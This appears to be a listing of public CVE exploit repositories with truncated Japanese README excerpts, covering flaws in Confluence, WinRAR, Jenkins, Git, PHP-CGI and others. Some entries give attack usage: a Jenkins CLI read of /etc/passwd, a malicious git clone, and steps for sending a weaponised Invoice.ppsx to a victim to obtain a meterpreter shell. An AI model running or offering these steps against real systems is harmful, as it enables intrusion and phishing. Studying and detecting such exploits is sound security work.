chakra-exploit-framework

Chakra エクスプロイトフレームワーク このリポジトリには、EXP-401コースの準備として私が作成したブラウザエクスプロイトフレームワークが含まれています。このフレームワークは、2019年にEdgeがv8へ移行するまでその一部であったChakraエンジンを対象としています。 このフレームワークで使用されているデモ脆弱性は、CVE-2019-0567 Type Confusionです。 特徴 このフレームワークを使いやすくするために、将来のサンドボックスエスケープの実装を非常に簡単にするいくつかの便利な機能を作成しました。 抽象化されたWindows API呼び出し...

CVE-2021-46422

CVE-2022-26134RCE インストール git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs pocsuite3の使い方 単一のURL: pocsuite -r CVE-2022-26134RCE.py -u url 複数のURL: pocsuite -r CVE-2022-26134RCE.py...

CVE-2020-5902

CVE-2020-5902 BIG-IP バージョン 15.0.0-15.1.0.3、14.1.0-14.1.2.5、13.1.0-13.1.3.3、12.1.0-12.1.5.1、および 11.6.1-11.6.5.1 において、Traffic Management User Interface（TMUI）（Configuration utility とも呼ばれる）には、未公開ページにリモートコード実行（RCE）の脆弱性が存在します。 概念実証...

Better-CVE-2022-29464

改善版 CVE-2022-29464 特定のWSO2製品では、無制限のファイルアップロードが可能で、結果としてリモートコード実行が発生します。攻撃者は、/fileuploadエンドポイントをContent-Dispositionディレクトリトラバーサルシーケンスとともに使用して、Webルート下のディレクトリ（例：../../../../repository/deployment/server/webappsディレクトリ）に到達する必要があります。 使用方法 python3 main.py https://example.com shell.jsp https://example.com...

CVE-2023-38831

CVE-2023-38831 これは、WinRAR 6.23より前のすべてのバージョンに影響を与えるCVE-2023-38831エクスプロイトを作成する、使いやすいツールです。 CVE-2023-38831エクスプロイトの詳細 RARLAB WinRAR...

CVE-2024-32030-Nuclei-Template

CVE-2024-32030 Nuclei テンプレート 説明 このリポジトリには、CVE-2024-32030 脆弱性を検出するための Nuclei テンプレートが含まれています。この脆弱性は、JMX Metrics Collection JNDI Resolution を介したリモートコード実行を許可します。 脆弱性の詳細 ID: CVE-2024-32030 名前: JMX Metrics Collection JNDI RCE 作者: Hüseyin TINTAŞ 深刻度: 重大 説明: このテンプレートは、悪意のある JMX...

CVE-2024-0582

RU GenIoURingExploit は、Linux カーネルの特定の脆弱性 CVE-2024-0582 を標的とした PoC エクスプロイトです。この PoC は iouring メカニズムを利用して、ソケットバッファを操作し、特定のカーネル動作を引き起こすことで、意図しないアクセスを獲得し、権限昇格の可能性をもたらします。 特徴 iouring を利用した効率的なバッファ操作。 KASLR（カーネルアドレス空間配置のランダム化）のリークを実証。 ソケットバッファ管理に関連する脆弱性を悪用。 制御された IOCTL 呼び出しによるエクスプロイトのトリガー。...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE NVD の説明 これは、xmlhttprequest パッケージの 1.7.0 より前のバージョンと、xmlhttprequest-ssl パッケージの全バージョンに影響します。リクエストが同期的に送信される場合（xhr.open で async=False）、xhr.send に入力される悪意のあるユーザー入力を通じて、任意のコードが注入・実行される可能性があります。 デモ セットアップ 1. Dockerfile からイメージをビルドします $ docker build -t cve-2020-28502...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind リモートコード実行脆弱性...

ConfluentPwn

ConfluentPwn Confluence事前認証ONGLインジェクションリモートコード実行スキャナー CVE-2022-26134。 使用方法 以下のGIFはツールのデモ使用例を示しています： 以下がツールのヘルプ出力です： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - モダンな攻撃表面（ASM）管理企業 + Author: Pinaki...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...

CVE-2024-23742

CVE-2024-23742 macOS上のLoom 0.196.1以前に存在する問題により、リモートの攻撃者がRunAsNodeおよびenableNodeClilnspectArguments設定を介して任意のコードを実行できる可能性があります。 このツールを使用すると、アプリが脆弱かどうかを確認できます: 検証後、コードを注入してシェルを取得できます シェルをお楽しみください :...

CVE-2024-49112-PoC

CVE-2024-49112-PoC CVE-2024-49112 LDAP RCE PoC および Metasploit モジュール 編集: リンク更新（残り3コピー） ダウンロードリンク: 連絡先 以下のアドレスまでご連絡ください: [email protected] これを無料で提供できるか、対象をテストできるか、Metasploitへのモジュール追加方法（Googleで調べてください）などはお問い合わせいただかないようお願いいたします。 提供できるもの: Python バージョンのセットアップについてヘルプが必要な場合（ガイド可能）。...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Description PHP 8.1.（8.1.29より前）、8.2. （8.2.20より前）、8.3.（8.3.8より前）のバージョンにおいて、Windows上でApacheとPHP-CGIを使用する際、システムが特定のコードページを使用するように設定されている場合、Windowsは「最適一致」動作を使用して、Win32 API関数に提供されるコマンドライン内の文字を置き換える可能性があります。PHP...

CVE-2019-0708-Windows

CVE-2019-0708-Windows この記事では、Windows...

CVE-2017-8570

使い方： スクリプトをダウンロードしたら、attackip を Kali の IP に変更し、LPORT を MSF がリッスンするポートに、DIR を任意の空ディレクトリに設定します スクリプトに 777 の権限を付与します chmod 777 auto その後、スクリプトを実行します ./auto その後、DIR+Office8570 ディレクトリ内で Invoice.ppsx ファイルを見つけ、被害者に送信します 被害者が Invoice.ppsx ファイルを開くと、PowerShell を利用して shell.exe をダウンロードし、その後 meterpreter が返されます...

git_rce

CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.130 kali192.168.216.129 --Git...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 jenkins-cli Jenkins File Leak / RCE（CVE-2024-23897）が実環境で悪用されているのを確認し、再現に成功しました。 お使いのJenkinsが匿名ユーザーやユーザー登録を許可している場合は、直ちに最新バージョンに更新してください。 java -jar jenkins-cli.jar -s https://www.wevul.com @/etc/passwd...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 IoC検出ツール このスクリプトは、root権限を持つユーザーがF5 BIG-IP上でAdvanced Shell（bash）でローカルに実行することを目的としています。他の環境で実行することを意図していません。注意：アプライアンスモードではAdvanced Shellへのアクセスが許可されていないため、このツールはそのようなシステムでは実行できません。 このスクリプトは、作成時にF5...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 概要 現地時間10月16日、北京時間10月17日未明、Oracle公式は10月（第3四半期）の重要パッチ更新CPU（Critical Patch Update）を発表しました。 このうち、7月（第2四半期）のCPUパッチで完全には修正されていなかった（CVE-2018-2893）Weblogicリモートコード実行の脆弱性が修正され、今回新たに修正された脆弱性の番号はCVE-2018-3245です。 解決策...